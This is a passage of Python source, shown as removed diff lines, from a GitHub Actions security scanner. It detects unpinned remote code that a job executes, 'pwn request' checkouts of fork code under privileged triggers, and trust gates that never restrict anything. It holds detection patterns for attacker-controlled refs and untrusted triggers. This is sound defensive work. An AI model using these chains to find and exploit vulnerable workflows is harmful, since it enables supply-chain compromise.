- ) -> list[tuple[_GhExtensionInstall, int, str]]:
- """Every (mutable install, invocation line, invocation as written) in a job.
- Mirrors `_mutable_fetch_executions`: both halves must be in the SAME job and
- the invocation must come after the install it runs (or in a step that may
- run at the same time). A mutable install with no visible invocation is a
- coverage note — the extension may still run from a script this scan cannot
- read — rather than a finding or a silent pass.
- """
- installs: list[_GhExtensionInstall] = []
- # (position, line, extension name, invocation as written)
- invocations: list[tuple[int, int, str, str]] = []
- pos = 0
- for line_no, raw, command, _new_step in _job_shell_commands(text, job_range):
- for segment, _scope in _commands_in_execution_order(command):
- pos += 1
- tokens = _strip_command_prefix(_shell_tokens(segment))
- if not tokens or tokens[0] != "gh" or len(tokens) < 2:
- continue
- ext = _gh_extension_command(tokens)
- if ext is None:
- # `gh <name> …` — a built-in command never collides with an
- # installed extension's name (gh refuses the install), so only
- # names a visible install provided are ever matched below.
- invocations.append((pos, line_no, tokens[1],
- f"gh {tokens[1]}"))
- continue
- sub, args = ext
- if sub == "exec" and args and not args[0].startswith("-"):
- invocations.append((pos, line_no, args[0],
- f"gh {tokens[1]} exec {args[0]}"))
- continue
- if sub != "install":
- continue
- target, pin = _parse_gh_extension_install(args)
- if not target or _gh_extension_is_local(target):
- continue
- if "://" in target:
- slug_url = target
- elif target.count("/") >= 2: # HOST/OWNER/REPO
- slug_url = "https://" + target
- else: # OWNER/REPO
- slug_url = "https://github.com/" + target
- if file_path is not None and _is_self_clone(slug_url, file_path):
- continue
- if pin and _FULL_SHA_RE.match(pin):
- if gap is not None:
- gap(f"a GitHub CLI extension `{_as_written(target)}` on "
- f"line {line_no} is pinned to a full commit id, so it "
- f"is deliberately not reported", kind=_KIND_SUPPRESSED)
- continue
- name = _gh_extension_name(target)
- if name in _GH_BUILTIN_COMMANDS:
- continue
- installs.append(_GhExtensionInstall(
- line_no, raw, target, name, pin, pos))
- spans = _step_spans(text)
- pairs: list[tuple[_GhExtensionInstall, int, str]] = []
- for idx, inst in enumerate(installs):
- # A later install of the same extension replaces this one; it is then
- # judged on its own.
- until = next((later.pos for later in installs[idx + 1:]
- if later.name == inst.name), None)
- hit = None
- if inst.name is not None:
- hit = next(
- ((line, written) for at, line, name, written in invocations
- if name == inst.name
- and (at > inst.pos or _lines_concurrent(spans, inst.line, line))
- and (until is None or at < until)),
- None,
- )
- if hit is not None:
- pairs.append((inst, hit[0], hit[1]))
- elif until is None and gap is not None:
- gap(f"a GitHub CLI extension `{_as_written(inst.repo)}` is "
- f"installed at a mutable reference on line {inst.line}, but "
- f"no run of it is visible in this job, so whether it executes "
- f"was NOT checked — review the job by hand")
- return pairs
- def _gh_extension_ref_description(ref: str | None) -> str:
- """`_ref_description` in the GitHub CLI's terms, not git's: `--pin` is
- resolved by `gh` when the job installs the extension, and a binary
- extension reads it as a release TAG name."""
- if ref is None:
- return "its latest release (no `--pin`)"
- if _ABBREV_SHA_RE.match(ref) and not ref.isdigit():
- return (f"`{ref}` (an ABBREVIATED commit id: the GitHub CLI resolves "
- f"it when the job installs the extension, and a binary "
- f"extension reads it as a release tag name, so it names no "
- f"one fixed commit)")
- return f"`{_as_written(ref)}`"
- # --- P14.24, gh extension arm: the release-immutability lookup -------------
- #
- # A binary extension's `--pin` names a release TAG. A release GitHub publishes
- # as IMMUTABLE locks its tag and assets, so that pin cannot move — but the
- # setting lives on GitHub, not in the workflow. With the network checks on
- # (the same `--gh-impostor` switch as P14.11, so `off` keeps every vector
- # lookup offline), each tag-pinned install that the job then runs is looked up once
- # per (repository, tag) per scan:
- #
- # GET /repos/{owner}/{repo}/releases/tags/{tag} → the release's
- # `immutable` boolean.
- #
- # Only a confirmed `immutable: true` removes a finding, and it is recorded as a
- # suppression. Everything else — `false`, a 404 (no published release there, not a
- # release), an error, a rate limit, the lookup switched off — keeps today's
- # finding, and `gh_checks["P14.24"]` says how many lookups ran and why any did
- # not. The lookup can only ever remove a finding, never add one.
- _RELEASE_LOOKUP_ATTEMPTS = 3
- _RELEASE_LOOKUP_BACKOFF_S = 1.0
- _GITHUB_HOSTS = ("github.com", "www.github.com")
- @dataclass
- class _ReleaseLookupState:
- enabled: bool = False
- skip_reason: str = ""
- root: Path | None = None
- # (owner/repo lowercased, tag) → (verdict, reason). verdict is one of
- # "immutable", "mutable", "not_release", "unknown".
- cache: dict[tuple[str, str], tuple[str, str]] | None = None
- # Every tag-pinned install that was paired with a run, in scan order:
- # (shown as repo@tag (file:line), verdict, reason).
- reached: list[tuple[str, str, str]] | None = None
- _RELEASE_LOOKUP = _ReleaseLookupState(cache={}, reached=[])
- def _reset_release_lookup(enabled: bool, skip_reason: str,
- root: Path | None) -> None:
- global _RELEASE_LOOKUP
- _RELEASE_LOOKUP = _ReleaseLookupState(
- enabled=enabled, skip_reason=skip_reason, root=root,
- cache={}, reached=[])
- def _extension_repo_slug(target: str) -> str | None:
- """`owner/repo` for an extension hosted on github.com, else None."""
- t = target
- if "://" in t:
- t = t.split("://", 1)[1]
- parts = [p for p in t.rstrip("/").split("/") if p]
- if len(parts) == 3 and parts[0].lower() in _GITHUB_HOSTS:
- parts = parts[1:]
- if len(parts) != 2:
- return None
- owner, repo = parts
- if repo.endswith(".git"):
- repo = repo[: -len(".git")]
- if not re.fullmatch(r"[A-Za-z0-9_.-]+", owner) or \
- not re.fullmatch(r"[A-Za-z0-9_.-]+", repo):
- return None
- return f"{owner}/{repo}"
- def _gh_release_immutability(slug: str, tag: str) -> tuple[str, str]:
- """(verdict, reason) for the release at `tag` in `slug`.
- Transient failures (a timeout, a server error) are tried up to
- ``_RELEASE_LOOKUP_ATTEMPTS`` times; a rate limit or an authentication
- failure is not, since retrying cannot change it. The reason never carries
- a response body — only a classification.
- """
- from urllib.parse import quote
- from gh_utils import check_auth_error, check_rate_limit_error # noqa: E402
- endpoint = f"repos/{slug}/releases/tags/{quote(tag, safe='')}"
- last = "the lookup did not complete"
- for attempt in range(_RELEASE_LOOKUP_ATTEMPTS):
- if attempt:
- time.sleep(_RELEASE_LOOKUP_BACKOFF_S * attempt)
- try:
- result = subprocess.run(
- # github.com only: `_extension_repo_slug` admits no other
- # host, and `GH_HOST` must not send the question elsewhere.
- ["gh", "api", endpoint, "--hostname", "github.com"],
- capture_output=True, text=True, timeout=30,
- )
- except FileNotFoundError:
- return "unknown", "gh is not installed"
- except OSError:
- return "unknown", "gh could not be run"
- except subprocess.TimeoutExpired:
- last = "the GitHub API timed out"
- continue
- logger.debug("gh api %s — exit=%s, response %d bytes", endpoint,
- result.returncode, len(result.stdout or ""))
- if result.returncode == 0:
- try:
- body = json.loads(result.stdout or "{}")
- except ValueError:
- return "unknown", "the release response was not JSON"
- if not isinstance(body, dict):
- return "unknown", "the release response was not an object"
- if body.get("tag_name") != tag or body.get("draft") is True:
- # Only the published release at exactly this tag can vouch.
- return "unknown", ("the release response did not describe "
- "the published release at this tag")
- flag = body.get("immutable")
- if flag is True:
- return "immutable", ""
- if flag is False:
- return "mutable", ""
- return "unknown", "the release response carried no `immutable` field"
- stderr = result.stderr or ""
- if "HTTP 404" in stderr or "Not Found" in stderr:
- return "not_release", ""
- if check_rate_limit_error(stderr)[0]:
- return "unknown", "GitHub API rate limit reached"
- if check_auth_error(stderr):
- return "unknown", "gh authentication failed (run gh auth login)"
- last = "the GitHub API returned an error"
- return "unknown", f"{last} ({_RELEASE_LOOKUP_ATTEMPTS} attempts)"
- def _release_lookup(inst: "_GhExtensionInstall",
- file_path: Path) -> tuple[str, str]:
- """Look up (or recall) the release an install's tag pin names, record the
- outcome for `gh_checks`, and return (verdict, reason)."""
- state = _RELEASE_LOOKUP
- assert inst.ref is not None
- shown_ref = _as_written(inst.ref)
- shown_repo = _as_written(inst.repo)
- try:
- rel = (str(file_path.relative_to(state.root)) if state.root
- else file_path.name)
- except ValueError:
- rel = file_path.name
- label = f"{shown_repo}@{shown_ref} ({rel}:{inst.line})"
- slug = _extension_repo_slug(inst.repo)
- if not state.enabled:
- verdict, reason = "unknown", state.skip_reason
- elif "$EXPR" in inst.ref or "\x00" in inst.ref or "$" in inst.ref:
- verdict, reason = ("unknown", "the pin is set at run time, so the "
- "release it names cannot be looked up")
- elif slug is None:
- verdict, reason = ("unknown", "the extension is not hosted on "
- "github.com")
- else:
- key = (slug.lower(), inst.ref)
- assert state.cache is not None
- if key not in state.cache:
- state.cache[key] = _gh_release_immutability(slug, inst.ref)
- verdict, reason = state.cache[key]
- assert state.reached is not None
- state.reached.append((label, verdict, reason))
- return verdict, reason
- def _release_lookup_status() -> tuple[str | None, list[str]]:
- """The `gh_checks["P14.24"]` status and its unverified list, or
- (None, []) when the scan reached no tag-pinned extension that runs."""
- state = _RELEASE_LOOKUP
- reached = state.reached or []
- if not reached:
- return None, []
- n = len(reached)
- if not state.enabled:
- return (f"skipped: {state.skip_reason} (release-immutability lookup "
- f"did NOT run; {n} tag-pinned GitHub CLI extension install(s) "
- f"kept as findings)"), []
- immutable = sum(1 for _, v, _ in reached if v == "immutable")
- unknown = [(label, reason) for label, v, reason in reached
- if v == "unknown"]
- kept = n - immutable
- if unknown:
- return (f"partial: {n - len(unknown)} of {n} tag-pinned GitHub CLI "
- f"extension install(s) looked up, {immutable} immutable (not "
- f"reported), {len(unknown)} UNVERIFIED — kept as findings"), \
- [f"{label} — {reason}" for label, reason in unknown]
- return (f"ran: {n} tag-pinned GitHub CLI extension install(s) looked up, "
- f"{immutable} immutable (not reported), {kept} reported"), []
- def _pin_races(pin_line: int | None, lines: tuple[int, ...],
- racing: Callable[[int, int], bool], concurrency: bool) -> bool:
- """A pin may run at the same time as one of `lines` (the fetch, the
- execution). Fail safe: in a job with concurrent steps, a pin whose source
- line is unknown is not provably in between, so it counts as racing; with
- no concurrency the command order alone already places it."""
- if pin_line is None:
- return concurrency
- return any(racing(pin_line, ln) for ln in lines)
- def _correlation_unverified_remote_code_execution(
- file_path: Path,
- ) -> Iterator[RawHit]:
- """P14.24 — the job executes remote code nobody pinned.
- Two arms, one vector (see the comment block above): the piped installer,
- delegated unchanged to the shared `run:`-scalar walker, and a git fetch at
- a MUTABLE ref whose tree the same job then executes from.
- """
- yield from detect_yaml_run_injection(file_path, _REMOTE_PIPE_TO_SHELL)
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- ranges = {name: (s, e) for name, s, e in (job_line_ranges(file_path) or [])}
- for job_name, _job in _walk_jobs(doc):
- job_range = ranges.get(job_name)
- if job_range is None:
- # No source range for this job means its commands cannot be
- # scoped to it, and a cross-job pairing would be a false claim.
- # Recorded as a coverage gap rather than dropped in silence.
- _DROPPED_MATCHES.append({
- "kind": _KIND_UNANCHORED,
- "file": str(file_path),
- "reason": (
- f"P14.24: jobs.{job_name} could not be located in the raw "
- f"file, so its shell was NOT scanned for a mutable fetch "
- f"executed out of — review the job manually"
- ),
- })
- continue
- def _gap(reason: str, _job: str = job_name,
- kind: str = _KIND_NOT_SCANNED) -> None:
- _DROPPED_MATCHES.append({
- "file": str(file_path),
- "reason": f"P14.24: jobs.{_job}: {reason}",
- "kind": kind,
- })
- for fetch, exec_line, exec_path in _mutable_fetch_executions(
- text, job_range, _gap, file_path,
- _default_working_directory(doc, _job),
- _checkout_fetches(_job, text, job_range, file_path, _gap),
- ):
- yield RawHit(
- line=fetch.line,
- evidence=f"{fetch.line:>4}: {fetch.raw} <-- here",
- # Identifies the FETCH, not the line. Deduplication keys on
- # this, so using the whole line made two clones written on one
- # line byte-identical and the second chain vanished with no
- # record anywhere.
- match_text=(f"fetch into {_as_written(fetch.dest)} at "
- f"{_as_written(fetch.ref or 'HEAD')}"),
- derived_note=(
- (f"jobs.{job_name} checks out `{fetch.source}` at "
- if fetch.source else
- f"jobs.{job_name} fetches remote code at ")
- + f"{_ref_description(fetch.ref)} into "
- f"`{_as_written(fetch.dest)}` — a "
- f"MUTABLE reference, so what lands in the tree is whatever "
- f"the other side serves at the moment the job runs — and "
- f"then executes `{_as_written(exec_path)}` from it at "
- f"line {exec_line}. "
- f"A full 40-character commit id is the only reference that "
- f"cannot change under you."
- ),
- )
- for inst, exec_line, invoked in _gh_extension_executions(
- text, job_range, _gap, file_path,
- ):
- # `--pin=` with no value installs the latest release, as no pin.
- pin = inst.ref or None
- ref_text = _gh_extension_ref_description(pin)
- observed = ""
- offline = " (not visible offline)"
- if pin is not None and not _ABBREV_SHA_RE.match(pin):
- verdict, _reason = _release_lookup(inst, file_path)
- if verdict == "immutable":
- _gap(f"a GitHub CLI extension `{_as_written(inst.repo)}` "
- f"on line {inst.line} is pinned to release tag "
- f"`{_as_written(inst.ref)}`, which GitHub reports as "
- f"an immutable release (its tag and assets cannot "
- f"change), so it is deliberately not reported",
- kind=_KIND_SUPPRESSED)
- continue
- if verdict in ("mutable", "not_release"):
- offline = "" # the scan did look
- if verdict == "mutable":
- observed = (" GitHub reports this release is NOT "
- "immutable, so its tag can be moved.")
- elif verdict == "not_release":
- observed = (" GitHub returned no published release at "
- "this tag: it may be a branch, a bare tag or "
- "a repository this scan cannot see, and "
- "nothing shows it is locked.")
- yield RawHit(
- line=inst.line,
- evidence=f"{inst.line:>4}: {inst.raw} <-- here",
- match_text=(f"gh extension {_as_written(inst.repo)} at "
- f"{_as_written(inst.ref or 'latest release')}"),
- derived_note=(
- f"jobs.{job_name} installs the GitHub CLI extension "
- f"`{_as_written(inst.repo)}` at {ref_text} — a MUTABLE "
- f"reference, so what is installed is whatever that "
- f"repository's owner publishes under it at the moment the "
- f"job runs — and then runs it as `{invoked}` at line "
- f"{exec_line}. For a script extension, a full "
- f"40-character commit id passed to `--pin` cannot change "
- f"under you; a binary extension's `--pin` names a release "
- f"tag, which is fixed only when that release is published "
- f"as immutable{offline} — otherwise download "
- f"the release asset, verify its digest and run the local "
- f"copy." + observed
- ),
- )
- def _correlation_untrusted_trigger_writes_cache(
- file_path: Path,
- ) -> Iterator[RawHit]:
- """P14.7 — workflow has `pull_request_target` trigger AND any job writes
- the shared cache."""
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- on_node = _get_on_node(doc)
- triggers = _on_trigger_names(on_node) if on_node is not None else []
- if "pull_request_target" not in triggers:
- return
- for job_name, job in _walk_jobs(doc):
- if _job_uses_cache(job):
- line = _job_line_in_text(text, job_name)
- yield RawHit(
- line=line,
- evidence=(
- f"{line:>4}: workflow runs on `pull_request_target` AND "
- f"jobs.{job_name} writes the shared cache <-- here"
- + _gate_note(job, triggers)
- ),
- match_text=job_name,
- derived=True,
- )
- # Which top-level `github.event.*` objects each trigger's payload populates.
- # Deliberately partial in BOTH directions: a trigger absent from this table
- # makes the whole verdict unknowable (see `_inert_gate_objects`), and an object
- # absent from `_GATE_CHECKED_OBJECTS` is never judged at all. Both omissions
- # fail toward silence, which is the only safe direction for a check whose
- # false-positive would read "your security gate does nothing".
- _TRIGGER_EVENT_OBJECTS: dict[str, frozenset[str]] = {
- "issues": frozenset({"issue", "label"}),
- "issue_comment": frozenset({"issue", "comment"}),
- "pull_request": frozenset({"pull_request", "label"}),
- "pull_request_target": frozenset({"pull_request", "label"}),
- "pull_request_review": frozenset({"pull_request", "review"}),
- "pull_request_review_comment": frozenset({"pull_request", "comment"}),
- "push": frozenset({"head_commit", "commits", "pusher"}),
- "discussion": frozenset({"discussion"}),
- "discussion_comment": frozenset({"discussion", "comment"}),
- "workflow_run": frozenset({"workflow_run", "workflow"}),
- "workflow_dispatch": frozenset({"inputs"}),
- "repository_dispatch": frozenset({"client_payload"}),
- "release": frozenset({"release"}),
- "fork": frozenset({"forkee"}),
- "label": frozenset({"label"}),
- "milestone": frozenset({"milestone"}),
- # `deployment` and `deployment_status` carry a top-level `workflow_run`
- # (and `workflow`, `check_run`) whenever the deployment came from a
- # workflow — the normal case, and exactly what such a job gates on.
- "deployment": frozenset({"deployment", "workflow", "workflow_run"}),
- "deployment_status": frozenset({
- "deployment", "deployment_status", "workflow", "workflow_run",
- "check_run",
- }),
- "check_run": frozenset({"check_run"}),
- "check_suite": frozenset({"check_suite"}),
- "registry_package": frozenset({"registry_package"}),
- "schedule": frozenset(),
- }
- # The objects a gate is actually judged on. Restricted to the ones that carry a
- # real trust decision and whose payload membership is unambiguous.
- _GATE_CHECKED_OBJECTS = frozenset({
- "pull_request", "issue", "comment", "discussion", "workflow_run",
- "head_commit", "release", "client_payload", "review", "forkee",
- })
- _GATE_EVENT_REF_RE = re.compile(r"github\.event\.([a-zA-Z_][a-zA-Z_0-9]*)")
- # A whole `if:` that is nothing but one comparison of a `github.event.*` path
- # against a quoted literal. Anything else — a second term, a negation, a
- # function call, a comparison to another expression — is left undecided.
- # JSON's number grammar, which is what GitHub uses to decide whether a string
- # becomes a number or NaN. Deliberately stricter than `float()`: no leading
- # `+`, no surrounding space, no `inf`/`nan`, no underscores, no hex.
- _JSON_NUMBER_RE = re.compile(r"-?(?:0|[1-9][0-9]*)(?:\.[0-9]+)?(?:[eE][+-]?[0-9]+)?")
- _GATE_LONE_COMPARISON_RE = re.compile(
- r"^\s*(?:\$\{\{\s*)?"
- r"github\.event\.(?P<obj>[a-zA-Z_][a-zA-Z_0-9]*)"
- r"(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*"
- r"\s*(?P<op>==|!=)\s*"
- r"(?P<lit>'[^']*'|\"[^\"]*\")"
- r"\s*(?:\}\}\s*)?$"
- )
- _QUOTED_SPAN_RE = re.compile(r"'[^']*'|\"[^\"]*\"")
- def _strip_quoted(condition: str) -> str:
- """`condition` with string literals blanked out.
- A gate reading `github.event.pull_request.user.login != 'filed by
- github.event.discussion bot'` does not read `github.event.discussion` —
- that text is data. Counting it made a live gate report a dead field.
- """
- return _QUOTED_SPAN_RE.sub(lambda m: " " * len(m.group(0)), condition)
- def _inert_gate_objects(condition: str, triggers: list[str]) -> list[str]:
- """`github.event.*` objects this gate reads that NO declared trigger fills.
- snowflakedb/snowflake-connector-net's `jira_issue.yml` (Wiz, Jun 2026)
- gated on `github.event.pull_request.user.login != '...'` while triggering
- on `issues` and `issue_comment`. Neither payload has a `pull_request`, so
- the comparison was `null != '...'` — always true. The gate looked like it
- restricted the job to one bot account; it admitted every GitHub user, and
- the job interpolated the issue title into a shell step holding a Jira API
- token.
- The rule is "no DECLARED trigger populates it", not "this trigger doesn't":
- a workflow on both `issues` and `pull_request_target` reading
- `github.event.pull_request` has a gate that is live half the time, which is
- an ordinary bypass question and not this check's business.
- Returns [] — no verdict — whenever any declared trigger is missing from
- `_TRIGGER_EVENT_OBJECTS`. `workflow_call` is the load-bearing case: a
- reusable workflow runs on the CALLER's payload, which this file cannot see,
- so its event objects are unknowable rather than absent.
- """
- if not triggers:
- return []
- populated: set[str] = set()
- for trigger in triggers:
- if trigger not in _TRIGGER_EVENT_OBJECTS:
- return []
- populated |= _TRIGGER_EVENT_OBJECTS[trigger]
- referenced = {
- m.group(1)
- for m in _GATE_EVENT_REF_RE.finditer(_strip_quoted(condition))
- }
- return sorted(
- (referenced & _GATE_CHECKED_OBJECTS) - populated
- )
- def _dead_comparison_verdict(condition: str, dead: list[str]) -> str:
- """`"open"`, `"closed"`, or `""` for a gate built from one dead comparison.
- Knowing that a term always compares against an empty value does NOT say
- which way the gate falls. `null != 'bot'` is always true and admits
- everyone — Snowflake's bug. `null == 'bot'` is always false and admits
- nobody: still a broken gate, but describing it as "does not restrict who
- reaches this job" tells the reader the exact opposite of what it does.
- And a dead term inside `a && b` decides nothing at all, because the live
- conjunct still restricts.
- So a verdict is only offered when the ENTIRE condition is that one
- comparison, and the operator settles the direction. Everything else falls
- through to the neutral wording, which states the lookup fact and stops.
- """
- match = _GATE_LONE_COMPARISON_RE.match(condition)
- if match is None or match.group("obj") not in dead:
- return ""
- literal = match.group("lit")[1:-1]
- # GitHub casts both sides to a number when the types differ, and an absent
- # value casts to 0. So it compares EQUAL to `''`, to `'0'`, to `'0.0'` —
- # any literal worth zero inverts the whole operator table. Decline those.
- #
- # The parser has to be GitHub's, not Python's: a string becomes a number
- # only "from any legal JSON number format, otherwise NaN". `'+0'` and
- # `' 0 '` are NOT legal JSON, so GitHub reads NaN and the comparison is
- # not equal to an absent value — a verdict is available. `float()` accepts
- # both and would have thrown those verdicts away.
- if not literal:
- return ""
- if _JSON_NUMBER_RE.fullmatch(literal) and float(literal) == 0:
- return ""
- return "open" if match.group("op") == "!=" else "closed"
- def _gate_note(
- job: Any,
- triggers: list[str],
- dead_field_only: bool = False,
- ) -> str:
- """A sentence naming this job's own `if:` condition, or "".
- cal.com's `pr.yml` gates its cache-writing job behind
- `needs.trust-check.outputs.is-trusted == 'true'`, and the report still read
- "a fork PR plants malware" with no mention of it. The gate is NOT a
- suppression — trust gates are routinely bypassable, and deciding that here
- would be guessing — but a reader who cannot see it cannot triage the
- finding.
- The one case we DO decide is a gate whose whole condition is a comparison
- against an event object no declared trigger populates
- (`_inert_gate_objects` + `_dead_comparison_verdict`). "Verify it" is the
- wrong instruction there — there is nothing to verify — and the reader most
- likely to miss it is the one who does not know which payload carries which
- object. That is a lookup, not a judgement call.
- The lookup alone is not the verdict, though. It says the comparison runs
- against an empty value; the operator says whether that admits everyone or
- nobody, and a second conjunct can make it moot either way. When the shape
- does not settle that, the note reports the dead term as a fact and keeps
- the ordinary "verify it" rather than guessing a direction.
- `dead_field_only` drops the generic "verify it" half and returns "" unless
- there is a dead field to report. P14.10 asks for that: an injection is
- worth fixing whether or not its gate holds, so telling an injection's
- reader the finding "stands only if that gate can be bypassed" would
- contradict the catalog entry the finding cites.
- """
- if not isinstance(job, dict):
- return ""
- condition = job.get("if")
- if condition is None or isinstance(condition, (dict, list)):
- return ""
- text = " ".join(str(condition).split())
- if not text:
- return ""
- dead = _inert_gate_objects(text, triggers)
- if dead:
- names = ", ".join(f"`github.event.{obj}`" for obj in dead)
- trigger_list = ", ".join(f"`{t}`" for t in sorted(set(triggers)))
- plural = len(dead) > 1
- lookup = (
- f"\n this job carries a gate condition: {text} — it reads "
- f"{names}, which no trigger this workflow declares "
- f"({trigger_list}) ever populates, so "
- + ("those comparisons are" if plural else "that comparison is")
- + " against an empty value"
- )
- verdict = _dead_comparison_verdict(text, dead)
- if verdict == "open":
- return (
- f"{lookup} and " + ("are" if plural else "is")
- + " always true: the gate is INERT — it does "
- f"not restrict who reaches this job"
- )
- if verdict == "closed":
- return (
- f"{lookup} and " + ("are" if plural else "is")
- + " always false: the gate is INERT as a trust "
- f"control — rather than restricting who reaches this job it "
- f"blocks every run of it, so this job never runs under any "
- f"trigger the workflow declares"
- )
- # NOT "cannot restrict anything". A dead comparison is a CONSTANT, and
- # a constant is the opposite of harmless once other terms are in play:
- # `A && (null == 'x')` is always false, so the dead term closes the
- # whole gate by itself, and `A || (null != 'x')` is always true, so it
- # opens the gate whatever `A` says. Nothing here evaluates a compound
- # condition, so the honest statement is that the term is fixed and the
- # gate's overall behaviour is unexamined — never that the term is inert
- # on its own.
- return (
- f"{lookup} and therefore always "
- + ("evaluate" if plural else "evaluates")
- + " the same way, whoever triggered the workflow. What "
- f"the gate as a whole then does — including whether a fixed term "
- f"decides it outright — depends on the rest of the condition, "
- f"which is not evaluated here — verify it"
- )
- if dead_field_only:
- return ""
- return (
- f"\n this job carries a gate condition: {text} — the finding "
- f"stands only if that gate can be bypassed; verify it"
- )
- def _attacker_head_ref(value: Any) -> bool:
- """True if a checkout `ref:`/`repository:` value resolves to attacker-
- controlled head code under an untrusted-event trigger."""
- if not isinstance(value, str):
- return False
- needles = (
- "github.event.pull_request.head", # .sha / .ref / .repo.full_name
- "github.head_ref",
- "github.event.workflow_run.head", # _sha / _branch / _commit
- "refs/pull/", # refs/pull/N/merge|head — the PR's
- # content either way
- )
- return any(n in value for n in needles)
- # The execution leg's local-action arm covers both repository-local prefixes.
- # `uses: ./path` loads the action's definition from the WORKSPACE, so after a
- # head checkout that definition is the fork's. The self-repository prefix
- # `uses: $/path` (GitHub, 2026-07-30) loads the definition from the commit the
- # WORKFLOW runs at, which under `pull_request_target` / `workflow_run` is the
- # base repository's (on other triggers, such as `pull_request_review`, the
- # running commit can be the fork-controlled merge ref), but the action still
- # runs in the job's working directory, where the fork's tree sits after the
- # checkout, and a composite's own `run:` steps execute there. That is the same
- # over-approximation this check already makes for an inline `run:` step: where
- # the definition loads from does not change what it runs on. The check does
- # not open the action to prove which file it touches.
- _SELF_REPOSITORY_ACTION_PREFIX = "$/"
- _LOCAL_ACTION_PREFIXES = ("./", _SELF_REPOSITORY_ACTION_PREFIX)
- def _executes_from_tree(step: dict[str, Any]) -> bool:
- """A `run:` step, or a repository-local action (`./` or `$/`)."""
- uses = step.get("uses")
- return "run" in step or (
- isinstance(uses, str) and uses.startswith(_LOCAL_ACTION_PREFIXES))
- def _is_self_repository_action(step: dict[str, Any]) -> bool:
- uses = step.get("uses")
- return (isinstance(uses, str) and "run" not in step
- and uses.startswith(_SELF_REPOSITORY_ACTION_PREFIX))
- def _job_checkout_head_then_executes(
- job: dict[str, Any],
- ) -> tuple[int, str, bool, bool] | None:
- """The load-bearing predicate of P14.9: within ONE job, an
- `actions/checkout` of the attacker's head ref FOLLOWED BY, or possibly
- running at the same time as (a `parallel:` sibling, a `background:` step
- still running), a step that executes from the working tree (`run:`, a
- local `./action`, or a self-repository `$/action`, which runs in the
- working directory the fork's tree now occupies).
- The execution leg is a deliberate, documented over-approximation: a
- post-checkout `run:` step almost always executes tree-controlled content
- (install scripts, Makefiles, test suites), so the check does not try to
- prove which file it touches. A checkout with no `ref:` (base/merge ref) never
- qualifies. Returns (checkout_step_index, ref_text, concurrent,
- self_repository) or None; `concurrent` is True when only the
- possibly-at-the-same-time reading qualifies, so the evidence does not
- claim an order it cannot know; `self_repository` is True when the
- qualifying execution step is a `$/` action, so the evidence can say why
- a base-repository definition still runs on the fork's tree.
- The index is a 0-based ordinal in walker (leaf) order, not a `steps:`
- position.
- """
- checkout_idx: int | None = None
- ref_text = ""
- for i, step in enumerate(_job_steps(job)):
- uses = step.get("uses")
- if isinstance(uses, str) and uses.startswith("actions/checkout"):
- with_block = step.get("with")
- if isinstance(with_block, dict):
- for key in ("ref", "repository"):
- if _attacker_head_ref(with_block.get(key)):
- checkout_idx = i
- ref_text = str(with_block.get(key))
- break
- if checkout_idx is not None and i > checkout_idx:
- if _executes_from_tree(step):
- return (checkout_idx, ref_text, False,
- _is_self_repository_action(step))
- # Declared after is not the only "after": a step that may run at the same
- # time as the head checkout (a `parallel:` sibling written above it, a
- # `background:` step still running) can execute the fork's tree too.
- timed = _job_step_timings(job)
- for i, (c, c_timing) in enumerate(timed):
- uses, with_block = c.step.get("uses"), c.step.get("with")
- if not (isinstance(uses, str) and uses.startswith("actions/checkout")
- and isinstance(with_block, dict)):
- continue
- ref = next((with_block.get(k) for k in ("ref", "repository")
- if _attacker_head_ref(with_block.get(k))), None)
- if ref is None:
- continue
- for e, e_timing in timed:
- if e is not c and _executes_from_tree(e.step) \
- and _steps_concurrent(c_timing, e_timing):
- return i, str(ref), True, _is_self_repository_action(e.step)
- return None
- def _correlation_untrusted_checkout_executes(file_path: Path) -> Iterator[RawHit]:
- """P14.9 — fork code executed with privileges (the "pwn request" chain).
- Three conditions in ONE job: (1) the workflow runs on an untrusted-event
- trigger that carries the BASE repo's context (write token, secrets);
- (2) `actions/checkout` pulls the attacker's head code (`ref:` /
- `repository:` naming pull_request.head.*, github.head_ref, or
- workflow_run.head_*); (3) a step in the same job that runs after it, or
- may run at the same time as it (a `parallel:` sibling, a background step
- still running), executes from the working tree. One hit per qualifying job. The bare trigger without the
- head checkout is NOT a finding here — that presence fact belongs to the
- scored config checks.
- """
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- on_node = _get_on_node(doc)
- triggers = set(_on_trigger_names(on_node)) if on_node is not None else set()
- if not triggers & _UNTRUSTED_TRIGGERS:
- return
- trig = sorted(triggers & _UNTRUSTED_TRIGGERS)[0]
- for job_name, job in _walk_jobs(doc):
- hit = _job_checkout_head_then_executes(job)
- if hit is None:
- continue
- _, ref_text, concurrent, self_repository = hit
- line = _job_line_in_text(text, job_name)
- then = ("and a step that may run after or alongside it executes "
- "from the tree" if concurrent
- else "then executes from the tree")
- if self_repository:
- then += (" (a `$/` action: it runs in the working directory, "
- "which now holds the fork's checked-out tree; its "
- "definition comes from the running commit, which on "
- "`pull_request_target`/`workflow_run` is the base "
- "repository's)")
- yield RawHit(
- line=line,
- evidence=(
- f"{line:>4}: job `{job_name}` on `{trig}` checks out "
- f"`{ref_text}` {then} <-- here"
- + _gate_note(job, sorted(triggers))
- ),
- match_text=job_name,
- derived=True,
- )
- _UNTRUSTED_TRIGGERS = frozenset(
- {
- "pull_request_target",
- "issue_comment",
- "workflow_run",
- "issues",
- "pull_request_review",
- "pull_request_review_comment",
- "discussion",
- "discussion_comment",
- "fork",
- "watch",
- "repository_dispatch",
- }
- )
- _WALK_MAX_DEPTH = 64
- def _walk_pull_requests_write(
- node: Any,
- path: tuple[str, ...] = (),
- depth: int = 0,
- ) -> Iterator[tuple[str, ...]]:
- """Yield the path-tuple of every `pull-requests: write` declaration.
- Bounded by ``_WALK_MAX_DEPTH`` to cap the worst case on pathological
- anchor-heavy YAML (where ``yaml.safe_load`` can produce a deeply
- self-similar object graph). At the cap we log a warning and stop
- descending — surface vs silent stack overflow.
- """
- if depth > _WALK_MAX_DEPTH:
- logger.warning(
- "_walk_pull_requests_write: recursion depth cap (%d) exceeded "
- "at path %r — stopping descent; deeper `pull-requests: write` "
- "declarations (if any) will not be reported",
- _WALK_MAX_DEPTH,
- path,
- )
- return
- if isinstance(node, dict):
